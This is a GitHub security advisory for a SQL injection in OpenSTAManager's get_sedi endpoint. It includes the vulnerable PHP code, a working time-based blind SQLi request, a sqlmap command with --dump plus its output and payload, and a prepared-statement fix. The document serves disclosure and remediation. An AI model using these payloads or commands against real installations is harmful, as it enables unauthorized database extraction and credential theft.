GHSA-w995-ff8h-rppg

Suggest an improvement
Source
https://github.com/advisories/GHSA-w995-ff8h-rppg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-w995-ff8h-rppg/GHSA-w995-ff8h-rppg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w995-ff8h-rppg
Aliases
Published
2026-02-03T18:44:17Z
Modified
2026-02-22T23:25:58.641440Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)
Details

Summary

A SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.

Proof of Concept

Vulnerable Code

File: modules/anagrafiche/ajax/complete.php:28

case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);

Data Flow

  1. Source: $_GET['idanagrafica']get('idanagrafica')
  2. Vulnerable: User input concatenated directly into SQL query with single quotes
  3. Sink: $dbo->fetchArray($q) executes the malicious query

Exploit

Manual PoC (Time-based Blind SQLi):

GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

<img width="1304" height="580" alt="image" src="https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8" />

SQLMap Exploitation:

sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump

SQLMap Output:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12

<img width="1284" height="745" alt="image" src="https://github.com/user-attachments/assets/5c640132-4f52-46bd-96fa-14d9987d4759" />

Impact

  • Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
  • Privilege Escalation: Modification of zz_users table to gain admin access
  • Data Integrity: Unauthorized modification or deletion of records
  • Potential RCE: Via SELECT ... INTO OUTFILE if file permissions allow

Affected Versions

  • OpenSTAManager: Verified in latest version (as of December 2025)
  • All versions using this endpoint are likely affected

Remediation

Replace direct concatenation with prepared statements:

Before:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";

After:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

Credit

Discovered by: Łukasz Rybak

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:44:17Z",
    "cwe_ids": [
        "CWE-89"
    ],
    "nvd_published_at": "2026-02-04T18:16:07Z",
    "severity": "HIGH"
}
References

Affected packages

Packagist / devcode-it/openstamanager

Package

Name
devcode-it/openstamanager
Purl
pkg:composer/devcode-it/openstamanager

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
2.9.8

Affected versions

2.*
2.3.0
v2.*
v2.4
v2.4.1
v2.4.2
v2.4.3
v2.4.4
v2.4.5
v2.4.6
v2.4.7
v2.4.8
v2.4.9
v2.4.10
v2.4.11
v2.4.12
v2.4.13
v2.4.14
v2.4.15
v2.4.16
v2.4.17
v2.4.17.1
v2.4.18
v2.4.19
v2.4.20
v2.4.21
v2.4.22
v2.4.23
v2.4.24
v2.4.25
v2.4.26
v2.4.27
v2.4.28
v2.4.29
v2.4.30
v2.4.31
v2.4.32
v2.4.33
v2.4.34
v2.4.35
v2.4.36
v2.4.37
v2.4.38
v2.4.39
v2.4.40
v2.4.41
v2.4.42
v2.4.43
v2.4.44
v2.4.45
v2.4.46
v2.4.47
v2.4.48
v2.4.49
v2.4.50
v2.4.51
v2.4.52
v2.4.53
v2.4.54
v2.5
v2.5.1-beta
v2.5.2-beta
v2.5.3
v2.5.4
v2.5.5
v2.5.6
v2.5.7
v2.6-beta
v2.6.1
v2.6.2
v2.7-beta
v2.7
v2.7.1
v2.7.2
v2.7.3
v2.8-beta
v2.8.1
v2.8.2
v2.8.3
v2.9-beta
v2.9
v2.9.1
v2.9.2
v2.9.3
v2.9.4
v2.9.5
v2.9.6
v2.9.7
v2.9.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-w995-ff8h-rppg/GHSA-w995-ff8h-rppg.json"